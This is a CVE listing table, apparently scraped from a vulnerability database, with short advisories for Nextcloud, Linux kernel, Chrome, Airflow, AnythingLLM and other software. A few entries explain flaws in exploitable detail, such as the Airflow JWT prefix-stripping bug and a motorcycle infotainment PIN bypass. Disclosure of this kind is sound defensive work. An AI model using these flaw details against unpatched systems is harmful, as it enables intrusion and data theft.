CVE-2026-45159	Nextcloud is an open source content collaboration platform. From versions 1.15.0 to before 1.15.4, 1.16.0 to before 1.16.3, 1.17.0 to before 1.17.1, and 1.18.0 to before 1.18.1, a malicious user with access to an end-to-end encrypted files drop link was able to also drop files into other end-to-end encrypted folders of the share owner. Reading and modifying of other files was not possible. This issue has been patched in versions 1.15.4, 1.16.3, 1.17.1, 1.18.1, and 2.0.0-rc.7.	3.5	More Details
CVE-2026-10247	A vulnerability was found in SourceCodester Pharmacy Sales and Inventory System 1.0. This vulnerability affects the function create_generic_name of the file /ShowForm/create_generic_name/main. The manipulation of the argument generic_name results in cross site scripting. The attack may be launched remotely. The exploit has been made public and could be used.	3.5	More Details
CVE-2026-10246	A vulnerability has been found in SourceCodester Pharmacy Sales and Inventory System 1.0. This affects the function create_medicine_presentation of the file /ShowForm/create_medicine_presentation/main. The manipulation of the argument medicine_presentation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.	3.5	More Details
CVE-2026-45266	Nextcloud is an open source content collaboration platform. Prior to versions 21.1.10, 22.0.11, and 23.0.3, a low-privileged user can force other user's microphones to be muted in calls when no High-performance Backend is installed. This issue has been patched in versions 21.1.10, 22.0.11, and 23.0.3.	3.5	More Details
CVE-2026-48191	An incorrect handling of permissions in STORM powered by OTRS and in OTRS (2026.x and above) Document Search Article Meta Filters modules allows gaining knowledge about number of affected CIs, SLA and services without gaining access to them. This issue affects OTRS with STORM modules: * 7.0.X * 8.0.X * 2023.X * 2024.X * 2025.X * 2026.X before 2026.4.X	3.5	More Details
CVE-2026-10228	A vulnerability was found in raisulislamg4 student_management_system_by_php up to 310d950e09013d5133c6b9210aff9444382d16d1. The impacted element is an unknown function of the file admission_form_check.php. The manipulation of the argument Message results in cross site scripting. The attack can be executed remotely. The exploit has been made public and could be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.	3.5	More Details

CVE-2026-10245	A flaw has been found in SourceCodester Pharmacy Sales and Inventory System 1.0. Affected by this issue is the function create_supplier of the file /ShowForm/create_supplier/main. Executing a manipulation of the argument company_name can lead to cross site scripting. The attack can be launched remotely. The exploit has been published and may be used.	3.5	More Details
CVE-2026-10244	A vulnerability was detected in SourceCodester Pharmacy Sales and Inventory System 1.0. Affected by this vulnerability is the function create_medicine_name of the file /ShowForm/create_medicine_name/main. Performing a manipulation of the argument medicine_name results in cross site scripting. The attack can be initiated remotely. The exploit is now public and may be used.	3.5	More Details
CVE-2026-48190	An incorrect handling of permissions in OTRS External Interface and the ConfigItem List module allows an authenticated customer to query the system for CI information. Please note that CMDB has to be anabled and CustomerGroupSupport has to be used to be affected. This issue affects OTRS: * 7.0.X * 8.0.X * 2023.X * 2024.X * 2025.X * 2026.X before 2026.4.X	3.5	More Details
CVE-2026-10264	A vulnerability was determined in lharries whatsapp-mcp 0.0.1. Affected by this vulnerability is the function SendMessageRequest of the file whatsapp-bridge/main.go of the component Send API Endpoint. This manipulation of the argument mediaPath causes path traversal. The exploit has been publicly disclosed and may be utilized. Patch name: 6657cdceadd361e8fbe824afe9d00b4504009a5d. It is recommended to apply a patch to fix this issue.	3.5	More Details
CVE-2026-10234	A vulnerability was detected in Mettle sendportal up to 3.0.1. This affects an unknown part of the file /webview/ of the component Campaign Handler. The manipulation of the argument content results in cross site scripting. The attack can be launched remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.	3.5	More Details
CVE-2026-49370	In JetBrains YouTrack before 2026.1.13162 information disclosure was possible on fetchApp requests	3.4	More Details
CVE-2026-49381	In JetBrains TeamCity before 2026.1 stored XSS on the SAML login page was possible	3.4	More Details
CVE-2026-10268	A weakness has been identified in janet-lang janet up to 1.41.0. This vulnerability affects the function unmarshal_one_fiber of the file src/core/marsh.c. Executing a manipulation can lead to integer overflow. It is possible to launch the attack on the local host. The exploit has been made available to the public and could be used for attacks. This patch is called d9b1d711ea1fde52ac73a82088b512a3e17bad0d. A patch should be applied to remediate this issue.	3.3	More Details
CVE-2025-48616	In multiple functions of KeyguardViewMediator.java , there is a possible way to bypass lockdown mode with screen pinning due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.	3.3	More Details
CVE-2026-28586	In multiple functions of AppOpsService.java, there is a possible missing permission check due to a permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.	3.3	More Details
CVE-2026-10198	A flaw has been found in Assimp up to 6.0.4. Affected by this vulnerability is the function Assimp::glTFImporter::ImportMeshes of the file glTFImporter.cpp of the component glTFImporter. This manipulation causes null pointer dereference. The attack is restricted to local execution. The exploit has been published and may be used. The project tagged the reported issue as bug.	3.3	More Details
CVE-2026-45277	Nextcloud is an open source content collaboration platform. Prior to version 2.7.2, authenticated users can check if arbitrary files are associated with specific approval workflows where they can request approval. This issue has been patched in version 2.7.2.	3.3	More Details
CVE-2026-45278	Nextcloud is an open source content collaboration platform. From version 6.1.0 to before version 8.2.2, an attacker can craft links that would redirect users to another website, when the victim uses the attackers link to log in via user OIDC. This issue has been patched in version 8.2.2.	3.3	More Details
CVE-2026-10199	A vulnerability has been found in Assimp up to 6.0.4. Affected by this issue is the function glTF2::LazyDict in the library glTF2Asset.h. Such manipulation of the argument operator[] leads to null pointer dereference. The attack must be carried out locally. The exploit has been disclosed to the public and may be used. The name of the patch is d24b85319bd70c65883a2b96613e07e23fb95981. It is best practice to apply a patch to resolve this issue.	3.3	More Details
CVE-2026-10295	A vulnerability was found in SourceCodester Customer Review App 1.0. Affected by this vulnerability is the function add_review/save_review/get_all_reviews of the file review_app.py. Performing a manipulation of the argument name/comment results in denial of service. The attack requires a local approach. The exploit has been made public and could be used.	3.3	More Details

CVE-2026-10197	A vulnerability was detected in Assimp up to 6.0.4. Affected is the function glTF2Importer::ImportEmbeddedTextures in the library code/AssetLib/glTF2/glTF2Importer.cpp of the component TF File Handler. The manipulation results in null pointer dereference. The attack is only possible with local access. The exploit is now public and may be used. It is advisable to implement a patch to correct this issue. The pull request to fix this issue awaits acceptance.	3.3	More Details
CVE-2026-0056	In setTo of ResourceTypes.cpp, there is a possible read out of bounds due to an incorrect bounds check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.	3.3	More Details
CVE-2026-0016	In updateProvidersWhenServiceRemoved of CredentialManagerService.java, there is a possible way to override settings across users due to a permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.	3.3	More Details
CVE-2026-10267	A security flaw has been discovered in janet-lang janet up to 1.41.0. This affects the function doframe of the file src/core/debug.c. Performing a manipulation results in out-of-bounds read. Attacking locally is a requirement. The exploit has been released to the public and may be used for attacks. The patch is named ed17dd2c5913a23fb1107251e44a9410a3c30cf5.	3.3	More Details
CVE-2026-49383	In JetBrains IntelliJ IDEA before 2026.1 xXE in the UI Designer form parser was possible	3.3	More Details
CVE-2026-47327	Ubuntu Linux 6.8, 6.17 and 7.0 contain SAUCE patches with a possible NULL pointer dereference in the handling of AppArmor notifications. The bug can be triggered by an unprivileged local user. This can lead to a kernel oops.	3.3	More Details
CVE-2026-10233	A security vulnerability has been detected in Assimp up to 6.0.4. Affected by this issue is the function HL1MDLLoader::read_sequence_infos of the file HL1MDLLoader.cpp of the component Half-Life 1 MDL Loader. The manipulation of the argument aiString leads to out-of-bounds read. The attack needs to be performed locally. The exploit has been disclosed publicly and may be used. The project tagged the reported issue as bug.	3.3	More Details
CVE-2026-47329	Ubuntu Linux 6.8, 6.17 and 7.0 contain SAUCE patches which fail to validate invalid sizes of the name field in AppAmor notification responses. The bug can be triggered by an unprivileged local user and could result in handling of crafted responses.	3.3	More Details
CVE-2026-47330	Ubuntu Linux 6.8, 7.17 and 7.0 contain AppArmor SAUCE patches which can, under certain circumstances, use an uninitialized variable in notification handling code. The bug can be triggered by an unprivileged local user and can result in the incorrect caching of AppArmor notification responses.	3.3	More Details
CVE-2026-48156	pypdf is a free and open-source pure-python PDF library. Prior to 6.12.0, an attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with /W [0 0 0] values and large /Size values. This vulnerability is fixed in 6.12.0.	3.3	More Details
CVE-2026-47336	Ubuntu Linux 6.8 contains SAUCE patches with a possible use of an uninitialized variable in AppArmor AF_INET/AF_INET6 socket mediation code. The bug can be triggered by an unprivileged local user and could result in incorrect fine-grained mediation of network sockets.	3.3	More Details
CVE-2026-47337	Ubuntu Linux 6.8, 6.17 and 7.0 contain SAUCE patches with a possible NULL pointer dereference in the handling of AF_INET/AF_INET6 socket mediation. The bug can be triggered by an unprivileged local user. This can lead to a kernel oops.	3.3	More Details
CVE-2026-45324	Rizin is a UNIX-like reverse engineering framework and command-line toolset. There is a double free in librz/core/cmd/cmd_search.c:byte_pattern_search() due wrong pointer ownership declared. This vulnerability is fixed by commit 045fff363b42b8a6dda8ad5229c29ec3267e7dbe.	3.3	More Details
CVE-2026-45613	Rizin is a UNIX-like reverse engineering framework and command-line toolset. There is a heap-buffer-overflow in librz/bin/format/omf/omf.c. This vulnerability is fixed by commit e6d0937c8a083e23ed76ccfb9f631cdc50c7af47.	3.3	More Details
CVE-2026-0050	In handleBondStateChanged of AdapterService.java, there is a possible sensitive information disclosure due to a permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.	3.3	More Details
CVE-2026-10528	A security flaw has been discovered in Orthanc DICOM Server up to 1.12.11. This issue affects the function DcmItem::read of the file OrthancFramework/Sources/DicomParsing/FromDcmtkBridge.cpp of the component DCMTK Parser. Performing a manipulation results in stack-based buffer overflow. Attacking locally is a requirement. The exploit has been released to the public and may be used for attacks. The patch is named bae99026ca97. To fix this issue, it is recommended to deploy a patch.	3.3	More Details
CVE-2026-	A security flaw has been discovered in ggml-org whisper.cpp up to 1.8.2. This vulnerability affects the function whisper_model_load of the file ggml/src/ggml.c. The manipulation results in null pointer dereference.	3.3	More

10298	Attacking locally is a requirement. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.		Details
CVE-2026-10201	A vulnerability was determined in Assimp up to 6.0.4. This vulnerability affects the function FBXExporter::WriteObjects of the file FBXExporter.cpp of the component UV Channel Handler. Executing a manipulation can lead to divide by zero. The attack needs to be launched locally. The exploit has been publicly disclosed and may be utilized. Applying a patch is advised to resolve this issue. The project tagged the reported issue as bug.	3.3	More Details
CVE-2026-40963	The structure_data endpoint in the Airflow UI returned external dependency graph nodes for linked Dags without checking whether the caller had read permission on those linked Dags. An authenticated UI/API user authorized for one Dag could enumerate linked Dag IDs and dependency metadata for other Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping to keep Dag dependency topology private across teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	3.1	More Details
CVE-2026-45426	Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's `str.lstrip()` to the requested path segment when verifying the JWT's `sub` claim. `str.lstrip()` strips any of a *set* of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. `dag_a` would authorize log access to any other Dag whose name began with any subset of the characters `{d, a, g, _}` (e.g. `dag_attacker`, `aaaa_target`, `_dag_secret`). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	3.1	More Details
CVE-2026-10011	Inappropriate implementation in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	3.1	More Details
CVE-2026-49009	Northern.tech Mender Server v4.1.0, v4.0.1 and below, and fixed in v4.1.1 and v4.0.2 allows Directory Traversal.	3.1	More Details
CVE-2026-49380	In JetBrains TeamCity before 2026.1 open redirect in the SAML plugin was possible	3.1	More Details
CVE-2026-9950	Insufficient validation of untrusted input in iOS in Google Chrome on iOS prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)	3.1	More Details
CVE-2026-9959	Race in WebRTC in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	3.1	More Details
CVE-2026-9920	Uninitialized Use in GPU in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	3.1	More Details
CVE-2026-9991	Inappropriate implementation in Media in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	3.1	More Details
CVE-2026-9944	Uninitialized Use in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	3.1	More Details
CVE-2024-47267	Improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability in Archiving Pull functionality in Synology Surveillance Station before 9.2.2-11575 and 9.2.2-9575 allows remote authenticated users with administrator privileges to limited file write via unspecified vectors.	2.7	More Details
CVE-2024-47270	Improper preservation of permissions vulnerability in Archiving Push functionality in Synology Surveillance Station before 9.2.2-11575 and 9.2.2-9575 allows remote authenticated users with administrator privileges to limited file write via unspecified vectors.	2.7	More Details
CVE-2026-10078	A flaw was found in the Quay config-tool's GitLab OAuth validator. This vulnerability causes sensitive credentials, specifically client_id and client_secret, to be transmitted as plaintext in URL query parameters during POST requests to the GitLab endpoint. This insecure transmission can lead to the disclosure of these credentials in various system logs, such as server access logs, reverse proxy logs, and other monitoring systems. An attacker with access to these logs could potentially obtain these credentials, leading to unauthorized information disclosure.	2.7	More Details

CVE-2024-47272	Incorrect authorization vulnerability in IO Module functionality in Synology Surveillance Station before 9.2.2-11575 and 9.2.2-9575 allows remote authenticated users with administrator privileges to limited file write via unspecified vectors.	2.7	More Details
CVE-2026-45154	Nextcloud is an open source content collaboration platform. From version 2.6.0 to before version 4.3.0, when a previous collective pages was deleted and the collective was shared view-only, guests with access to the collective were able to access the deleted pages directly from the trashbin. This issue has been patched in version 4.3.0.	2.6	More Details
CVE-2026-45155	Nextcloud is an open source content collaboration platform. In Nextcloud Server from versions 32.0.0 to before 32.0.7 and 33.0.0 to before 33.0.1, a missing access check on API level allowed to add unknown circles by their ID directly to other circles. Since circle IDs have 62^15 complexity by default this is still unlikely to be executable at will, but if access to an ID was available via another source, memberships could be tracked like this. It is recommended that the Nextcloud Server is upgraded to 32.0.7 or 33.0.1. It is recommended that the Nextcloud Enterprise Server is upgraded to 29.0.16.14, 30.0.17.8, 31.0.14.3, 32.0.7 or 33.0.1	2.6	More Details
CVE-2026-49318	Incorrect behavior order in the Infotainment / Digital Round display of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker to bypass the PIN entry screen. The Infotainment uses presence of Wireless Control Module (WCM) traffic during its boot window as a proxy for whether an immobilizer is fitted; if no WCM messages are observed, it skips the PIN entry screen and shows the normal user interface. An attacker who silences the WCM during the boot window — for example via a separately tracked CAN bus-off technique — can present a fully unlocked Infotainment despite the PIN never being entered. Specific timing and protocol details have been withheld pending vendor remediation.	2.4	More Details
CVE-2026-10112	A vulnerability has been found in sambitraj STUDENT-MANAGEMENT-SYSTEM 1.0. Affected is an unknown function of the component Dashboard Page. The manipulation of the argument Name leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.	2.4	More Details
CVE-2026-10529	A weakness has been identified in westboy CicadasCMS up to 2431154dac8d0735e04f1fd2a3c3556668fc8dab. Impacted is an unknown function of the file src/main/java/com/zhiliao/module/web/system/ScheduleJobController.java of the component Task Scheduling Management Module. Executing a manipulation can lead to cross site scripting. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.	2.4	More Details
CVE-2026-49317	Incorrect behavior order in the Infotainment / Digital Round display of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker to bypass the PIN entry screen. The Infotainment uses presence of Wireless Control Module (WCM) traffic during its boot window as a proxy for whether an immobilizer is fitted; if no WCM messages are observed, it skips the PIN entry screen and shows the normal user interface. An attacker who silences the WCM during the boot window — for example via a separately tracked CAN bus-off technique — can present a fully unlocked Infotainment despite the PIN never being entered. Specific timing and protocol details have been withheld pending vendor remediation.	2.4	More Details
CVE-2026-9608	A vulnerability was determined in QianFox FoxCMS up to 1.2.6. The impacted element is an unknown function of the file /Tag/edit of the component Administrator Backend. Executing a manipulation can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.	2.4	More Details
CVE-2026-10514	A vulnerability has been found in 1Panel-dev CordysCRM up to 1.6.2. This affects an unknown function of the file backend/framework/src/main/java/cn/cordys/config/RequestParamTrimConfig.java. The manipulation leads to cross site scripting. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. Upgrading to version 1.7.0 mitigates this issue. The identifier of the patch is c87682afa8df79853299f75489c9d333f7bc5fce. It is suggested to upgrade the affected component.	2.4	More Details
CVE-2026-47713	AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to 1.13.0, an approved mobile device token created in single-user mode can survive single-user -> multi-user migration even when the device record has userId = null. In multi-user mode, that stale token is still accepted by the mobile authentication middleware. Because no user is attached to the request, downstream mobile handlers fall back to unscoped data-access branches and return workspaces and workspace content without per-user filtering. This permits a pre-migration mobile token to enumerate a workspace assigned only to another user and retrieve victim-owned thread metadata and chat content in multi-user mode. This vulnerability is fixed in 1.13.0.	2.0	More Details
CVE-2026-45403	AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to 1.13.0, the AnythingLLM agent filesystem copy tool validates only the top-level source and destination paths. The recursive copy helper then descends into child entries using fs.stat() and copies files with fs.copyFile() without validating each child or rejecting symlinks. Because both APIs follow symlinks, a symlink nested inside an allowed source directory can point outside the allowed filesystem root	2.0	More Details

	and cause outside file contents to be copied into an allowed destination as a regular file. This vulnerability is fixed in 1.13.0.		
CVE-2026-45881	In the Linux kernel, the following vulnerability has been resolved: soc: mediatek: svs: Fix memory leak in svs_enable_debug_write() In svs_enable_debug_write(), the buf allocated by memdup_user_nul() is leaked if kstrtoint() fails. Fix this by using __free(kfree) to automatically free buf, eliminating the need for explicit kfree() calls and preventing leaks. [Angelo: Added missing cleanup.h inclusion]	N/A	More Details
CVE-2026-45879	In the Linux kernel, the following vulnerability has been resolved: power: supply: bq25980: Fix use-after-free in power_supply_changed() Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `power_supply` handle, means that the `power_supply` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where an interrupt can fire just _after_ the `power_supply` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `power_supply_changed()` with a freed `power_supply` handle. Which usually crashes the system or otherwise silently corrupts the memory... Note that there is a similar situation which can also happen during `probe()`; the possibility of an interrupt firing _before_ registering the `power_supply` handle. This would then lead to the nasty situation of using the `power_supply` handle *uninitialized* in `power_supply_changed()`. Fix this racy use-after-free by making sure the IRQ is requested _after_ the registration of the `power_supply` handle.	N/A	More Details
CVE-2026-45877	In the Linux kernel, the following vulnerability has been resolved: HID: intel-ish-hid: fix NULL-ptr-deref in ishtp_bus_remove_all_clients During a warm reset flow, the cl->device pointer may be NULL if the reset occurs while clients are still being enumerated. Accessing cl->device->reference_count without a NULL check leads to a kernel panic. This issue was identified during multi-unit warm reboot stress clycles. Add a defensive NULL check for cl->device to ensure stability under such intensive testing conditions. KASAN: null-ptr-deref in range [0000000000000000-0000000000000007] Workqueue: ish_fw_update_wq fw_reset_work_fn Call Trace: ishtp_bus_remove_all_clients+0xbe/0x130 [intel_ishtp] ishtp_reset_handler+0x85/0x1a0 [intel_ishtp] fw_reset_work_fn+0x8a/0xc0 [intel_ish_ipc]	N/A	More Details
CVE-2026-45888	In the Linux kernel, the following vulnerability has been resolved: md/raid1: fix memory leak in raid1_run() raid1_run() calls setup_conf() which registers a thread via md_register_thread(). If raid1_set_limits() fails, the previously registered thread is not unregistered, resulting in a memory leak of the md_thread structure and the thread resource itself. Add md_unregister_thread() to the error path to properly cleanup the thread, which aligns with the error handling logic of other paths in this function. Compile tested only. Issue found using a prototype static analysis tool and code review.	N/A	More Details
CVE-2026-45876	In the Linux kernel, the following vulnerability has been resolved: arm64/gcs: Fix error handling in arch_set_shadow_stack_status() alloc_gcs() returns an error-encoded pointer on failure, which comes from do_mmap(), not NULL. The current NULL check fails to detect errors, which could lead to using an invalid GCS address. Use IS_ERR_VALUE() to properly detect errors, consistent with the check in gcs_alloc_thread_stack().	N/A	More Details
CVE-2026-45727	CloakBrowser is a tool to bypass bot detection tests. Prior to version 0.3.28, the cloakserve CDP multiplexer uses the user-supplied fingerprint query parameter directly as a filesystem path component when creating Chrome profile directories. An unauthenticated attacker who can reach the cloakserve port can supply a crafted fingerprint value containing path traversal sequences to resolve user_data_dir outside the configured data_dir. When Chrome fails to start or the process is cleaned up, shutil.rmtree() deletes the traversed path, resulting in arbitrary directory deletion. Additionally, cloakserve bound to 0.0.0.0 by default, making it network-exposed. This issue has been patched in version 0.3.28.	N/A	More Details
CVE-2026-45880	In the Linux kernel, the following vulnerability has been resolved: PCI/P2PDMA: Release per-CPU pgmap ref when vm_insert_page() fails When vm_insert_page() fails in p2pmem_alloc_mmap(), p2pmem_alloc_mmap() doesn't invoke percpu_ref_put() to free the per-CPU ref of pgmap acquired after gen_pool_alloc_owner(), and memunmap_pages() will hang forever when trying to remove the PCI device. Fix it by adding the missed percpu_ref_put().	N/A	More Details
CVE-2026-45887	In the Linux kernel, the following vulnerability has been resolved: af_unix: Fix memleak of newsk in unix_stream_connect(). When prepare_peercred() fails in unix_stream_connect(), unix_release_sock() is not called for newsk, and the memory is leaked. Let's move prepare_peercred() before unix_create1().	N/A	More Details
CVE-2026-46189	In the Linux kernel, the following vulnerability has been resolved: RDMA/vmw_pvrdma: Fix double free on pvrdma_alloc_ucontext() error path Sashiko points out that pvrdma_uar_free() is already called within pvrdma_dealloc_ucontext(), so calling it before triggers a double free.	N/A	More Details
CVE-2026-45882	In the Linux kernel, the following vulnerability has been resolved: power: supply: pm8916_bms_vm: Fix use-after-free in power_supply_changed() Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `power_supply` handle, means that the `power_supply` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where an interrupt can fire just _after_ the `power_supply` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `power_supply_changed()` with a freed `power_supply` handle. Which usually crashes the system or otherwise silently corrupts the memory... Note	N/A	More Details

	that there is a similar situation which can also happen during `probe()`; the possibility of an interrupt firing _before_ registering the `power_supply` handle. This would then lead to the nasty situation of using the `power_supply` handle *uninitialized* in `power_supply_changed()`. Fix this racy use-after-free by making sure the IRQ is requested _after_ the registration of the `power_supply` handle.		
CVE-2026-45883	In the Linux kernel, the following vulnerability has been resolved: iio: sca3000: Fix a resource leak in sca3000_probe() spi->irq from request_threaded_irq() not released when iio_device_register() fails. Add an return value check and jump to a common error handler when iio_device_register() fails.	N/A	More Details
CVE-2026-46191	In the Linux kernel, the following vulnerability has been resolved: fbcon: Avoid OOB font access if console rotation fails Clear the font buffer if the reallocation during console rotation fails in fbcon_rotate_font(). The putcs implementations for the rotated buffer will return early in this case. See [1] for an example. Currently, fbcon_rotate_font() keeps the old buffer, which is too small for the rotated font. Printing to the rotated console with a high-enough character code will overflow the font buffer. v2: - fix typos in commit message	N/A	More Details
CVE-2026-45886	In the Linux kernel, the following vulnerability has been resolved: bpf: Fix bpf_xdp_store_bytes proto for read-only arg While making some maps in Cilium read-only from the BPF side, we noticed that the bpf_xdp_store_bytes proto is incorrect. In particular, the verifier was throwing the following error: ; ret = ctx_store_bytes(ctx, l3_off + offsetof(struct iphdr, saddr), &nat->address, 4, 0); 635: (79) r1 = *(u64 *)(r10 -144) ; R1=ctx() R10=fp0 fp-144=ctx() 636: (b4) w2 = 26 ; R2=26 637: (b4) w4 = 4 ; R4=4 638: (b4) w5 = 0 ; R5=0 639: (85) call bpf_xdp_store_bytes#190 write into map forbidden, value_size=6 off=0 size=4 nat comes from a BPF_F_RDONLY_PROG map, so R3 is a PTR_TO_MAP_VALUE. The verifier checks the helper's memory access to R3 in check_mem_size_reg, as it reaches ARG_CONST_SIZE argument. The third argument has expected type ARG_PTR_TO_UNINIT_MEM, which includes the MEM_WRITE flag. The verifier thus checks for a BPF_WRITE access on R3. Given R3 points to a read-only map, the check fails. Conversely, ARG_PTR_TO_UNINIT_MEM can also lead to the helper reading from uninitialized memory. This patch simply fixes the expected argument type to match that of bpf_skb_store_bytes.	N/A	More Details
CVE-2026-45884	In the Linux kernel, the following vulnerability has been resolved: apparmor: avoid per-cpu hold underflow in aa_get_buffer When aa_get_buffer() pulls from the per-cpu list it unconditionally decrements cache->hold. If hold reaches 0 while count is still non-zero, the unsigned decrement wraps to UINT_MAX. This keeps hold non-zero for a very long time, so aa_put_buffer() never returns buffers to the global list, which can starve other CPUs and force repeated kmalloc(aa_g_path_max) allocations. Guard the decrement so hold never underflows.	N/A	More Details
CVE-2026-45875	In the Linux kernel, the following vulnerability has been resolved: mfd: arizona: Fix regulator resource leak on wm5102_clear_write_sequencer() failure The wm5102_clear_write_sequencer() helper may return an error and just return, bypassing the cleanup sequence and causing regulators to remain enabled, leading to a resource leak. Change the direct return to jump to the err_reset label to properly free the resources.	N/A	More Details
CVE-2026-49201	The upload.cgi binary, responsible for processing device backups, contains a hardcoded AES encryption key. This allows an attacker to decrypt, modify, and re-encrypt system backups, facilitating persistent backdoor injection.	N/A	More Details
CVE-2026-45885	In the Linux kernel, the following vulnerability has been resolved: power: supply: cpcap-battery: Fix use-after-free in power_supply_changed() Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `power_supply` handle, means that the `power_supply` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where an interrupt can fire just _after_ the `power_supply` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `power_supply_changed()` with a freed `power_supply` handle. Which usually crashes the system or otherwise silently corrupts the memory... Note that there is a similar situation which can also happen during `probe()`; the possibility of an interrupt firing _before_ registering the `power_supply` handle. This would then lead to the nasty situation of using the `power_supply` handle *uninitialized* in `power_supply_changed()`. Fix this racy use-after-free by making sure the IRQ is requested _after_ the registration of the `power_supply` handle.	N/A	More Details
CVE-2026-46188	In the Linux kernel, the following vulnerability has been resolved: octeon_ep_vf: add NULL check for napi_build_skb() napi_build_skb() can return NULL on allocation failure. In __octep_vf_oq_process_rx(), the result is used directly without a NULL check in both the single-buffer and multi-fragment paths, leading to a NULL pointer dereference. Add NULL checks after both napi_build_skb() calls, properly advancing descriptors and consuming remaining fragments on failure.	N/A	More Details
CVE-2026-49103	Webmin before 2.640 does not safely construct a filename for saving of an attachment within the mailboxes component. This occurs in mailboxes/detachall.cgi.	N/A	More Details
CVE-2026-46192	In the Linux kernel, the following vulnerability has been resolved: spi: microchip-core-qspi: don't attempt to transmit during emulated read-only dual/quad operations The core will deal with reads by creating clock cycles itself, there's no need to generate clock cycles by transmitting garbage data at the driver level. Further, transmitting garbage data just bricks the transfer since QSPI doesn't have a dedicated master-out line like MOSI in regular SPI. I'm not entirely sure if the transfer is bricked because of the garbage data being	N/A	More Details

	transmitted on the bus or because the core loses track of whether it is supposed to be sending or receiving data.		
CVE-2026-45874	In the Linux kernel, the following vulnerability has been resolved: phy: freescale: imx8qm-hsio: fix NULL pointer dereference During the probe the refclk_pad pointer is set to NULL if the 'fsl,refclk-pad-mode' property is not defined in the devicetree node. But in imx_hsio_configure_clk_pad() this pointer is unconditionally used which could result in a NULL pointer dereference. So check the pointer before to use it.	N/A	More Details
CVE-2026-45864	In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: prevent infinite loops caused by the next valid being the same When processing valid within the range [valid : pos), if valid cannot be retrieved correctly, for example, if the retrieved valid value is always the same, this can trigger a potential infinite loop, similar to the hung problem reported by syzbot [1]. Adding a check for the valid value within the loop body, and terminating the loop and returning -EINVAL if the value is the same as the current value, can prevent this. [1] INFO: task syz.4.21:6056 blocked for more than 143 seconds. Call Trace: rwbase_write_lock+0x14f/0x750 kernel/locking/rwbase_rt.c:244 inode_lock include/linux/fs.h:1027 [inline] ntfs_file_write_iter+0xe6/0x870 fs/ntfs3/file.c:1284	N/A	More Details
CVE-2026-45853	In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: Use kvfree instead of kfree in amdgpu_gmc_get_nps_memranges() amdgpu_discovery_get_nps_info() internally allocates memory for ranges using kvcalloc(), which may use vmalloc() for large allocation. Using kfree() to release vmalloc memory will lead to a memory corruption. Use kvfree() to safely handle both kmalloc and vmalloc allocations. Compile tested only. Issue found using a prototype static analysis tool and code review.	N/A	More Details
